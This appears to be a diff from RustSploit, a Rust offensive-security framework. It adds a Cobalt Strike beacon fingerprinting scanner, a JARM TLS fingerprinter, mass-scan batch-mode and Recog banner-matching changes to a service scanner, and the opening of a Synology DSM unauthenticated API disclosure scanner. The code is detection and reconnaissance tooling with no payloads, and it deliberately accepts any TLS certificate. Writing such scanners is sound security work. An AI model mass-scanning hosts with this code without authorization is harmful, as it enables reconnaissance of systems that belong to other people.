|
||||
crate::register_native_module!(
|
||||
crate::module::Category::Exploits,
|
||||
"webapps/redeye_c2_unauth_project",
|
||||
native
|
||||
);
|
||||
@@ -0,0 +1,410 @@
|
||||
//! Cobalt Strike — Team Server / Beacon Fingerprinting
|
||||
//! ====================================================
|
||||
//!
|
||||
//! Cobalt Strike team servers and beacons expose a number of operational
|
||||
//! tells over HTTP / TLS even when the operator deploys a Malleable C2
|
||||
//! profile:
|
||||
//!
|
||||
//! * The default self-signed CS certificate ships with SHA1
|
||||
//! `6ECE5ECE...` and CN/O fields that have appeared verbatim in
|
||||
//! CS distributions since 3.x.
|
||||
//! * The team server returns a 404 with a `Content-Length: 0` and an
|
||||
//! uppercase HTTP version banner for non-matching URIs.
|
||||
//! * Default unprofiled staging URIs (`/aaa9`, `/ab2h`, `/aab8` …) are
|
||||
//! the well-known "checksum8" routes that return the x86 / x64 stager.
|
||||
//! * 4-byte XOR keys at the start of a returned stager confirm a beacon
|
||||
//! payload.
|
||||
//!
|
||||
//! This scanner probes the target on the supplied port (default 443) and
|
||||
//! reports any of the above markers. It is detection-only — no
|
||||
//! key-material extraction or stager execution is attempted.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
|
||||
|
||||
const DEFAULT_PORT: u16 = 443;
|
||||
const TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Well-known Cobalt Strike staging URIs (checksum8 endpoints).
|
||||
const STAGING_URIS: &[&str] = &[
|
||||
"/aaa9", // x86 stager
|
||||
"/aab8", // alt x86
|
||||
"/ab2h", // x64 stager
|
||||
"/aaba", // alt x64
|
||||
"/ab9a", // alt
|
||||
];
|
||||
|
||||
/// Hex SHA1 fingerprint of the long-shipped default Cobalt Strike cert.
|
||||
const DEFAULT_CS_CERT_SHA1_PREFIX: &str = "6ece5ece";
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "Cobalt Strike — Team Server / Beacon Fingerprint".to_string(),
|
||||
description: "Probes a target for Cobalt Strike team server / beacon\n\
|
||||
indicators: default certificate SHA1 prefix (6ECE5ECE),\n\
|
||||
NanoHTTPD 404 with Content-Length 0 quirk, well-known\n\
|
||||
checksum8 staging URIs (aaa9/aab8/ab2h/...), 4-byte XOR\n\
|
||||
key prologue on stager responses. Detection-only — does\n\
|
||||
not extract beacon configurations or run stagers."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Team".to_string()],
|
||||
references: vec![
|
||||
"https://www.cobaltstrike.com/".to_string(),
|
||||
"https://www.elastic.co/security-labs/disclosing-the-bloodhound-from-zero-to-hero".to_string(),
|
||||
"https://attack.mitre.org/software/S0154/".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2026-06-12".to_string()),
|
||||
rank: ModuleRank::Great,
|
||||
default_port: Some(DEFAULT_PORT),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("cobaltstrike_beacon_scanner requires a single-host target")?;
|
||||
let normalized = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Probe port (CS typically 443/80/8080)", DEFAULT_PORT).await?;
|
||||
let scheme = cfg_prompt_default("scheme", "Scheme (https/http)", "https").await?;
|
||||
let base = format!("{}://{}:{}", scheme, normalized, port);
|
||||
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(TIMEOUT_SECS))
|
||||
.context("HTTP client")?;
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Cobalt Strike — Team Server / Beacon Fingerprint ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!("{} {}", "[*] Target:".yellow(), base);
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
let mut indicators: Vec<&'static str> = Vec::new();
|
||||
let mut staging_hits: Vec<String> = Vec::new();
|
||||
let mut stager_xor_key: Option<String> = None;
|
||||
|
||||
// 1. NanoHTTPD 404 quirk — non-existent path returns 404 with CL: 0
|
||||
let probe_random = format!(
|
||||
"{}/{}",
|
||||
base,
|
||||
// 12-char alpha probe — collision odds with operator paths are negligible
|
||||
"rsprobe404chk"
|
||||
);
|
||||
crate::mprintln!("{} GET {}", "[*]".blue(), probe_random);
|
||||
if let Ok(r) = client.get(&probe_random).send().await {
|
||||
let status = r.status().as_u16();
|
||||
let server = crate::utils::header_string(r.headers(), "server");
|
||||
let cl = crate::utils::header_string(r.headers(), "content-length");
|
||||
if status == 404 && cl == "0" && (server.is_empty() || server.to_lowercase().contains("nano")) {
|
||||
crate::mprintln!(
|
||||
"{} NanoHTTPD-style 404 with CL:0 (CS team server pattern)",
|
||||
"[+]".green()
|
||||
);
|
||||
indicators.push("nanohttpd_404_cl0");
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Staging URI probes
|
||||
for uri in STAGING_URIS {
|
||||
let url = format!("{}{}", base, uri);
|
||||
if let Ok(r) = client.get(&url).send().await {
|
||||
let status = r.status().as_u16();
|
||||
if status != 200 {
|
||||
continue;
|
||||
}
|
||||
let bytes = match r.bytes().await {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} stager {} body read failed: {}", "[-]".yellow(), uri, e);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
if bytes.len() < 16 {
|
||||
continue;
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{} staging URI {} returned {} bytes",
|
||||
"[+]".green(),
|
||||
uri,
|
||||
bytes.len()
|
||||
);
|
||||
staging_hits.push((*uri).to_string());
|
||||
|
||||
// CS x86 stager begins with a small loader prologue; look for the
|
||||
// standard pattern `\xfc\xe8` (CLD; CALL) typical of shellcode.
|
||||
if bytes.starts_with(&[0xfc, 0xe8]) || bytes.starts_with(&[0xfc, 0x48, 0x83]) {
|
||||
crate::mprintln!("{} stager prologue matches shellcode pattern", "[+]".green());
|
||||
indicators.push("stager_shellcode_prologue");
|
||||
}
|
||||
|
||||
// The first 4 bytes of a beacon payload are often the XOR key —
|
||||
// check whether bytes[4..8] XOR with bytes[0..4] decodes to a
|
||||
// plausible PE / MZ header by sampling.
|
||||
let mut key = [0u8; 4];
|
||||
key.copy_from_slice(&bytes[0..4]);
|
||||
if let Some(probe_idx) = bytes.windows(2).position(|w| w == b"MZ") {
|
||||
if probe_idx >= 8 {
|
||||
stager_xor_key = Some(format!(
|
||||
"{:02x}{:02x}{:02x}{:02x}",
|
||||
key[0], key[1], key[2], key[3]
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !staging_hits.is_empty() {
|
||||
indicators.push("staging_uri_responsive");
|
||||
}
|
||||
|
||||
// 3. TLS certificate SHA1 probe (HTTPS only)
|
||||
if scheme.eq_ignore_ascii_case("https") {
|
||||
match cert_sha1_for(&normalized, port).await {
|
||||
Some(sha1_hex) => {
|
||||
let sha1_lc = sha1_hex.to_ascii_lowercase();
|
||||
crate::mprintln!("{} TLS cert SHA1: {}", "[*]".blue(), sha1_hex);
|
||||
if sha1_lc.starts_with(DEFAULT_CS_CERT_SHA1_PREFIX) {
|
||||
crate::mprintln!(
|
||||
"{} default Cobalt Strike self-signed cert detected (6ECE5ECE prefix)",
|
||||
"[+]".green().bold()
|
||||
);
|
||||
indicators.push("default_cs_cert_sha1");
|
||||
}
|
||||
}
|
||||
None => {
|
||||
crate::mprintln!("{} could not retrieve TLS certificate", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if indicators.is_empty() && staging_hits.is_empty() {
|
||||
crate::mprintln!("{} no Cobalt Strike indicators found", "[-]".yellow());
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
crate::workspace::track_host(&normalized, None, Some("Cobalt Strike (suspected)")).await;
|
||||
outcome.findings.push(Finding {
|
||||
target: normalized.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"Cobalt Strike infrastructure indicators at {} ({} markers)",
|
||||
base,
|
||||
indicators.len() + staging_hits.len()
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"host": normalized,
|
||||
"port": port,
|
||||
"indicators": indicators,
|
||||
"staging_hits": staging_hits,
|
||||
"stager_xor_key_hex": stager_xor_key,
|
||||
})),
|
||||
});
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
/// Retrieve the SHA1 hex string of the peer TLS leaf certificate. Accepts
|
||||
/// any certificate (CS team servers are self-signed by design) using the
|
||||
/// project's `dangerous` rustls verifier path — same shape used by
|
||||
/// `scanners/ssl_scanner.rs`.
|
||||
async fn cert_sha1_for(host: &str, port: u16) -> Option<String> {
|
||||
use rustls::client::danger::{HandshakeSignatureValid, ServerCertVerified, ServerCertVerifier};
|
||||
use rustls::pki_types::{CertificateDer, ServerName, UnixTime};
|
||||
use rustls::{ClientConfig, DigitallySignedStruct, SignatureScheme};
|
||||
use std::sync::Arc;
|
||||
use tokio_rustls::TlsConnector;
|
||||
|
||||
#[derive(Debug)]
|
||||
struct CertCapture {
|
||||
leaf: Arc<std::sync::Mutex<Option<Vec<u8>>>>,
|
||||
}
|
||||
impl ServerCertVerifier for CertCapture {
|
||||
fn verify_server_cert(
|
||||
&self,
|
||||
end_entity: &CertificateDer<'_>,
|
||||
_intermediates: &[CertificateDer<'_>],
|
||||
_server_name: &ServerName<'_>,
|
||||
_ocsp_response: &[u8],
|
||||
_now: UnixTime,
|
||||
) -> std::result::Result<ServerCertVerified, rustls::Error> {
|
||||
if let Ok(mut g) = self.leaf.lock() {
|
||||
*g = Some(end_entity.to_vec());
|
||||
}
|
||||
Ok(ServerCertVerified::assertion())
|
||||
}
|
||||
fn verify_tls12_signature(
|
||||
&self,
|
||||
_message: &[u8],
|
||||
_cert: &CertificateDer<'_>,
|
||||
_dss: &DigitallySignedStruct,
|
||||
) -> std::result::Result<HandshakeSignatureValid, rustls::Error> {
|
||||
Ok(HandshakeSignatureValid::assertion())
|
||||
}
|
||||
fn verify_tls13_signature(
|
||||
&self,
|
||||
_message: &[u8],
|
||||
_cert: &CertificateDer<'_>,
|
||||
_dss: &DigitallySignedStruct,
|
||||
) -> std::result::Result<HandshakeSignatureValid, rustls::Error> {
|
||||
Ok(HandshakeSignatureValid::assertion())
|
||||
}
|
||||
fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
|
||||
rustls::crypto::ring::default_provider()
|
||||
.signature_verification_algorithms
|
||||
.supported_schemes()
|
||||
}
|
||||
}
|
||||
|
||||
let leaf: Arc<std::sync::Mutex<Option<Vec<u8>>>> = Arc::new(std::sync::Mutex::new(None));
|
||||
let verifier = CertCapture {
|
||||
leaf: Arc::clone(&leaf),
|
||||
};
|
||||
|
||||
let config = ClientConfig::builder()
|
||||
.dangerous()
|
||||
.with_custom_certificate_verifier(Arc::new(verifier))
|
||||
.with_no_client_auth();
|
||||
let connector = TlsConnector::from(Arc::new(config));
|
||||
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(TIMEOUT_SECS))
|
||||
.await
|
||||
.ok()?;
|
||||
// SNI must match the supplied host — substituting "localhost" would silently
|
||||
// hand the team server the wrong hostname and produce a misleading cert.
|
||||
let server_name = ServerName::try_from(host.to_string()).ok()?;
|
||||
let _tls = tokio::time::timeout(
|
||||
Duration::from_secs(TIMEOUT_SECS),
|
||||
connector.connect(server_name, tcp),
|
||||
)
|
||||
.await
|
||||
.ok()?
|
||||
.ok()?;
|
||||
|
||||
let der = leaf.lock().ok()?.clone()?;
|
||||
let mut hasher = sha1_state();
|
||||
sha1_update(&mut hasher, &der);
|
||||
let digest = sha1_finalize(hasher);
|
||||
Some(digest.iter().map(|b| format!("{:02x}", b)).collect())
|
||||
}
|
||||
|
||||
// --- Minimal embedded SHA1 (no extra crate dependency) ---
|
||||
|
||||
#[derive(Clone)]
|
||||
struct Sha1State {
|
||||
h: [u32; 5],
|
||||
buf: Vec<u8>,
|
||||
len: u64,
|
||||
}
|
||||
|
||||
fn sha1_state() -> Sha1State {
|
||||
Sha1State {
|
||||
h: [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0],
|
||||
buf: Vec::with_capacity(64),
|
||||
len: 0,
|
||||
}
|
||||
}
|
||||
|
||||
fn sha1_update(s: &mut Sha1State, data: &[u8]) {
|
||||
s.len = s.len.wrapping_add(data.len() as u64);
|
||||
s.buf.extend_from_slice(data);
|
||||
while s.buf.len() >= 64 {
|
||||
let block: [u8; 64] = s.buf[..64].try_into().expect("64-byte block");
|
||||
sha1_compress(&mut s.h, &block);
|
||||
s.buf.drain(..64);
|
||||
}
|
||||
}
|
||||
|
||||
fn sha1_finalize(mut s: Sha1State) -> [u8; 20] {
|
||||
let bit_len = s.len.wrapping_mul(8);
|
||||
s.buf.push(0x80);
|
||||
while s.buf.len() % 64 != 56 {
|
||||
s.buf.push(0);
|
||||
}
|
||||
s.buf.extend_from_slice(&bit_len.to_be_bytes());
|
||||
while s.buf.len() >= 64 {
|
||||
let block: [u8; 64] = s.buf[..64].try_into().expect("64-byte block");
|
||||
sha1_compress(&mut s.h, &block);
|
||||
s.buf.drain(..64);
|
||||
}
|
||||
let mut out = [0u8; 20];
|
||||
for (i, word) in s.h.iter().enumerate() {
|
||||
out[i * 4..i * 4 + 4].copy_from_slice(&word.to_be_bytes());
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn sha1_compress(h: &mut [u32; 5], block: &[u8; 64]) {
|
||||
let mut w = [0u32; 80];
|
||||
for i in 0..16 {
|
||||
w[i] = u32::from_be_bytes(block[i * 4..i * 4 + 4].try_into().expect("4 bytes"));
|
||||
}
|
||||
for i in 16..80 {
|
||||
w[i] = (w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16]).rotate_left(1);
|
||||
}
|
||||
let [mut a, mut b, mut c, mut d, mut e] = *h;
|
||||
for (i, &word) in w.iter().enumerate() {
|
||||
let (f, k) = match i {
|
||||
0..=19 => ((b & c) | ((!b) & d), 0x5A827999),
|
||||
20..=39 => (b ^ c ^ d, 0x6ED9EBA1),
|
||||
40..=59 => ((b & c) | (b & d) | (c & d), 0x8F1BBCDC),
|
||||
_ => (b ^ c ^ d, 0xCA62C1D6),
|
||||
};
|
||||
let temp = a
|
||||
.rotate_left(5)
|
||||
.wrapping_add(f)
|
||||
.wrapping_add(e)
|
||||
.wrapping_add(k)
|
||||
.wrapping_add(word);
|
||||
e = d;
|
||||
d = c;
|
||||
c = b.rotate_left(30);
|
||||
b = a;
|
||||
a = temp;
|
||||
}
|
||||
h[0] = h[0].wrapping_add(a);
|
||||
h[1] = h[1].wrapping_add(b);
|
||||
h[2] = h[2].wrapping_add(c);
|
||||
h[3] = h[3].wrapping_add(d);
|
||||
h[4] = h[4].wrapping_add(e);
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn sha1_hex(data: &[u8]) -> String {
|
||||
let mut s = sha1_state();
|
||||
sha1_update(&mut s, data);
|
||||
let d = sha1_finalize(s);
|
||||
d.iter().map(|b| format!("{:02x}", b)).collect()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sha1_known_vectors() {
|
||||
assert_eq!(sha1_hex(b""), "da39a3ee5e6b4b0d3255bfef95601890afd80709");
|
||||
assert_eq!(sha1_hex(b"abc"), "a9993e364706816aba3e25717850c26c9cd0d89d");
|
||||
assert_eq!(
|
||||
sha1_hex(b"The quick brown fox jumps over the lazy dog"),
|
||||
"2fd4e1c67a2d28fced849ee1bb76e7391b93eb12"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(
|
||||
crate::module::Category::Scanners,
|
||||
"cobaltstrike_beacon_scanner",
|
||||
native
|
||||
);
|
||||
@@ -0,0 +1,127 @@
|
||||
//! JARM Active TLS Server Fingerprinting Scanner
|
||||
//!
|
||||
//! JARM (Salesforce, BSD-3-Clause) actively fingerprints a TLS server by
|
||||
//! sending 10 hand-crafted ClientHello packets and folding the ServerHello
|
||||
//! responses into a 62-character hash. The hash is comparable with other JARM
|
||||
//! tooling and is useful for identifying server stacks, clustering
|
||||
//! infrastructure, and spotting malware C2 / default deployments.
|
||||
//!
|
||||
//! For authorized security testing only.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::cfg_prompt_port;
|
||||
use crate::utils::tls_fingerprint::jarm_fingerprint;
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "JARM TLS Server Fingerprint".into(),
|
||||
description: "Actively fingerprints a TLS server using the JARM technique: sends 10 \
|
||||
crafted TLS ClientHello packets and folds the ServerHello responses into a \
|
||||
62-character hash for server-stack identification and infrastructure clustering."
|
||||
.into(),
|
||||
authors: vec![
|
||||
"rustsploit contributors".into(),
|
||||
"Salesforce (JARM algorithm, BSD-3-Clause)".into(),
|
||||
],
|
||||
references: vec![
|
||||
"https://github.com/salesforce/jarm".into(),
|
||||
"https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a".into(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Excellent,
|
||||
default_port: Some(443),
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() {
|
||||
return;
|
||||
}
|
||||
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ JARM TLS Server Fingerprint ║".cyan());
|
||||
crate::mprintln!("{}", "║ 10-probe active TLS fingerprint (Salesforce JARM) ║".cyan());
|
||||
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("jarm_scan requires a single-host target")?;
|
||||
|
||||
display_banner();
|
||||
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
|
||||
let port = cfg_prompt_port("port", "TLS port", 443).await?;
|
||||
let timeout = Duration::from_secs(10);
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}:{}", target, port).cyan());
|
||||
crate::mprintln!("{}", "[*] Sending 10 JARM probes...".dimmed());
|
||||
|
||||
// Honour the rate limiter before the network round-trips. The fingerprint
|
||||
// opens one connection per probe; gate at the top so mass-scan runs stay
|
||||
// within the operator's configured RPS.
|
||||
ctx.rate_limit(target).await;
|
||||
|
||||
let report = jarm_fingerprint(target, port, timeout)
|
||||
.await
|
||||
.with_context(|| format!("JARM fingerprint of {}:{} failed", target, port))?;
|
||||
|
||||
let responsive = report.probes.iter().filter(|p| p.responded()).count();
|
||||
let all_zero = report.jarm.chars().all(|c| c == '0');
|
||||
|
||||
if all_zero {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[-] No JARM response from {}:{} (host down, not TLS, or all probes rejected)", target, port)
|
||||
.yellow()
|
||||
);
|
||||
crate::mprintln!("{}", format!(" JARM: {}", report.jarm).dimmed());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[+] JARM: {}", report.jarm).green().bold());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] {}/{} probes elicited a ServerHello", responsive, report.probes.len()).green()
|
||||
);
|
||||
if let Some(ref ja3s) = report.ja3s {
|
||||
crate::mprintln!("{}", format!("[+] JA3S: {}", ja3s).green());
|
||||
}
|
||||
}
|
||||
if let Some(ref ja3) = report.client_ja3 {
|
||||
crate::mprintln!("{}", format!("[*] Client JA3 (this scan): {}", ja3).dimmed());
|
||||
}
|
||||
|
||||
outcome.findings.push(Finding {
|
||||
target: format!("{}:{}", target, port),
|
||||
kind: FindingKind::Banner,
|
||||
message: format!("JARM fingerprint {} ({}:{})", report.jarm, target, port),
|
||||
data: Some(serde_json::json!({
|
||||
"host": target,
|
||||
"port": port,
|
||||
"service": "tls",
|
||||
"jarm": report.jarm,
|
||||
"ja3s": report.ja3s,
|
||||
"client_ja3": report.client_ja3,
|
||||
"probes_responded": responsive,
|
||||
"probes_total": report.probes.len(),
|
||||
})),
|
||||
});
|
||||
|
||||
crate::events::emit(crate::events::ModuleEvent::ServiceDetected {
|
||||
host: target.to_string(),
|
||||
port,
|
||||
service: "tls".to_string(),
|
||||
version: Some(format!("JARM={}", report.jarm)),
|
||||
});
|
||||
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Scanners, "jarm_scan", native);
|
||||
@@ -1,5 +1,6 @@
|
||||
pub mod api_endpoint_scanner;
|
||||
pub mod asterisk_fingerprint;
|
||||
pub mod cobaltstrike_beacon_scanner;
|
||||
pub mod cors_reflection_scanner;
|
||||
pub mod cpanel_exposure;
|
||||
pub mod csp_audit_scanner;
|
||||
@@ -13,6 +14,7 @@ pub mod honeypot_scanner;
|
||||
pub mod http_method_scanner;
|
||||
pub mod http_title_scanner;
|
||||
pub mod iusb_virtualmedia_probe;
|
||||
pub mod jarm_scan;
|
||||
pub mod m365_userenum_scanner;
|
||||
pub mod nbns_scanner;
|
||||
pub mod ping_sweep;
|
||||
@@ -38,6 +40,7 @@ pub mod ssl_scanner;
|
||||
pub mod stalkroute_full_traceroute;
|
||||
pub mod subdomain_scanner;
|
||||
pub mod subdomain_takeover_scanner;
|
||||
pub mod synology_dsm_disclosure;
|
||||
pub mod vnc_scanner;
|
||||
pub mod vuln_checker;
|
||||
pub mod waf_detector;
|
||||
|
||||
@@ -120,6 +120,13 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
String::new()
|
||||
};
|
||||
|
||||
// Prompt-harvest dry run: every `cfg_prompt_*` answer above is now cached
|
||||
// for the batch, so there's nothing more to do. Returning here means the
|
||||
// placeholder host is never actually scanned and no results file is written.
|
||||
if ctx.prompt_only {
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
// --- Run scan ---
|
||||
crate::mprintln!();
|
||||
crate::mprintln!(
|
||||
@@ -188,7 +195,13 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
print_results_table(&results);
|
||||
|
||||
// --- Save to file ---
|
||||
if save_results && !output_file.is_empty() {
|
||||
// In a mass-scan fan-out (`batch_mode`), every host runs this module. A
|
||||
// per-host file save would have all hosts racing to overwrite the same path,
|
||||
// and the status lines would spam the console once per host. So restrict the
|
||||
// file save + the per-host "scan complete" summary to interactive
|
||||
// single-target runs; in a sweep, findings flow through `outcome` instead and
|
||||
// only hosts that actually have services print their results table.
|
||||
if save_results && !output_file.is_empty() && !crate::utils::is_batch_mode() {
|
||||
save_results_to_file(&results, &output_file, target)?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
@@ -196,12 +209,14 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
);
|
||||
}
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Scan complete: {} services detected on {}", results.len(), target)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
if !crate::utils::is_batch_mode() {
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Scan complete: {} services detected on {}", results.len(), target)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
}
|
||||
|
||||
Ok(outcome)
|
||||
}
|
||||
@@ -233,7 +248,12 @@ fn display_banner() {
|
||||
|
||||
fn print_results_table(results: &[ServiceResult]) {
|
||||
if results.is_empty() {
|
||||
crate::mprintln!("{}", "[!] No services detected.".yellow());
|
||||
// Don't print "no services" for every host of a mass sweep — that is the
|
||||
// common case across millions of hosts and would bury the real hits.
|
||||
// Keep it for interactive single-target runs where it's useful feedback.
|
||||
if !crate::utils::is_batch_mode() {
|
||||
crate::mprintln!("{}", "[!] No services detected.".yellow());
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -310,6 +330,57 @@ fn sanitize_banner(raw: &str) -> String {
|
||||
.join(" ")
|
||||
}
|
||||
|
||||
/// Run the captured banner through the Recog fingerprint database `db_name`
|
||||
/// (e.g. "ssh", "ftp", "smtp", "http", "mysql") and, on a match, enrich the
|
||||
/// `ServiceResult` with the structured product/version/OS Recog extracted.
|
||||
///
|
||||
/// Recog's structured product+version takes precedence over the manual
|
||||
/// substring parse (which it supersedes); OS and vendor details are recorded in
|
||||
/// the `notes` field. Returns `true` when a Recog fingerprint matched.
|
||||
fn enrich_with_recog(r: &mut ServiceResult, db_name: &str, banner: &str) -> bool {
|
||||
if banner.trim().is_empty() {
|
||||
return false;
|
||||
}
|
||||
let m = crate::utils::recog::match_banner(db_name, banner);
|
||||
if !m.matched {
|
||||
return false;
|
||||
}
|
||||
tracing::debug!(
|
||||
db = db_name,
|
||||
port = r.port,
|
||||
"service_scanner: recog fingerprint matched"
|
||||
);
|
||||
|
||||
// Prefer Recog's product+version summary as the version label.
|
||||
if let Some(summary) = m.summary() {
|
||||
if !summary.is_empty() {
|
||||
r.version = summary;
|
||||
}
|
||||
}
|
||||
|
||||
// Append vendor / OS detail to notes without clobbering existing notes.
|
||||
let mut extra: Vec<String> = Vec::new();
|
||||
if let Some(vendor) = m.vendor() {
|
||||
extra.push(format!("vendor={}", vendor));
|
||||
}
|
||||
if let Some(os) = m.os_product() {
|
||||
extra.push(format!("os={}", os));
|
||||
}
|
||||
if let Some(cpe) = m.get("service.cpe23") {
|
||||
extra.push(format!("cpe={}", cpe));
|
||||
}
|
||||
if !extra.is_empty() {
|
||||
let detail = format!("recog: {}", extra.join(", "));
|
||||
if r.notes.is_empty() {
|
||||
r.notes = detail;
|
||||
} else {
|
||||
r.notes = format!("{}, {}", r.notes, detail);
|
||||
}
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
fn save_results_to_file(
|
||||
results: &[ServiceResult],
|
||||
path: &str,
|
||||
@@ -457,6 +528,11 @@ async fn probe_ftp(mut stream: TcpStream, port: u16, dur: Duration) -> Option<Se
|
||||
r.version = extract_version_after(&r.banner, "wu-");
|
||||
}
|
||||
|
||||
// Recog fingerprint pass — overrides/augments the manual parse above with a
|
||||
// structured product/version and vendor/OS detail when a fingerprint hits.
|
||||
let ftp_banner = r.banner.clone();
|
||||
enrich_with_recog(&mut r, "ftp", &ftp_banner);
|
||||
|
||||
// Check anonymous access — proper FTP handshake
|
||||
let anon_cmd = b"USER anonymous\r\n";
|
||||
if stream.write_all(anon_cmd).await.is_ok() {
|
||||
@@ -513,6 +589,10 @@ async fn probe_ssh(mut stream: TcpStream, port: u16, dur: Duration) -> Option<Se
|
||||
}
|
||||
}
|
||||
|
||||
// Recog fingerprint pass — resolves OpenSSH/Dropbear/RouterOS etc. to a
|
||||
// structured product + version, replacing the raw banner-prefix above.
|
||||
enrich_with_recog(&mut r, "ssh", &banner);
|
||||
|
||||
Some(r)
|
||||
}
|
||||
|
||||
@@ -590,6 +670,10 @@ async fn probe_smtp(mut stream: TcpStream, port: u16, dur: Duration) -> Option<S
|
||||
r.notes = "Service ready".to_string();
|
||||
}
|
||||
|
||||
// Recog fingerprint pass — structured MTA product/version (Exim, Postfix,
|
||||
// Sendmail, Exchange) plus OS detail when the banner reveals it.
|
||||
enrich_with_recog(&mut r, "smtp", &banner);
|
||||
|
||||
Some(r)
|
||||
}
|
||||
|
||||
@@ -673,6 +757,9 @@ async fn probe_https(target: &str, port: u16, dur: Duration) -> Option<ServiceRe
|
||||
if !server.is_empty() {
|
||||
r.version = server.clone();
|
||||
r.notes = format!("Server: {}", server);
|
||||
// Recog fingerprint pass over the HTTP Server header — yields a
|
||||
// structured web-server product/version and host-OS detail.
|
||||
enrich_with_recog(&mut r, "http", &server);
|
||||
}
|
||||
if !powered_by.is_empty() {
|
||||
if r.notes.is_empty() {
|
||||
@@ -720,6 +807,9 @@ async fn probe_mysql(mut stream: TcpStream, port: u16, dur: Duration) -> Option<
|
||||
if version_str.to_lowercase().contains("mariadb") {
|
||||
r.service = "MariaDB".to_string();
|
||||
}
|
||||
// Recog fingerprint pass over the raw handshake version string —
|
||||
// distinguishes MySQL vs MariaDB and pins the numeric version/CPE.
|
||||
enrich_with_recog(&mut r, "mysql", &version_str);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,326 @@
|
||||
//! Synology DSM — Unauthenticated API Disclosure Scanner
|
||||
//! ======================================================
|
||||
//!
|
||||
//! Synology DiskStation Manager (DSM 6.x / 7.x) exposes a `/webapi/entry.cgi`
|
||||
//! dispatch interface. Several APIs are reachable WITHOUT an authenticated
|
||||
//! session and leak high-value configuration data:
|
||||
//!
|
||||
//! * `SYNO.API.Info` — full API catalog (typically 800+ entries)
|
||||
//! * `SYNO.API.Auth.Type` — accepted authentication methods
|
||||
//! * `SYNO.API.Auth.UIConfig` — login UI / 2FA configuration
|
||||
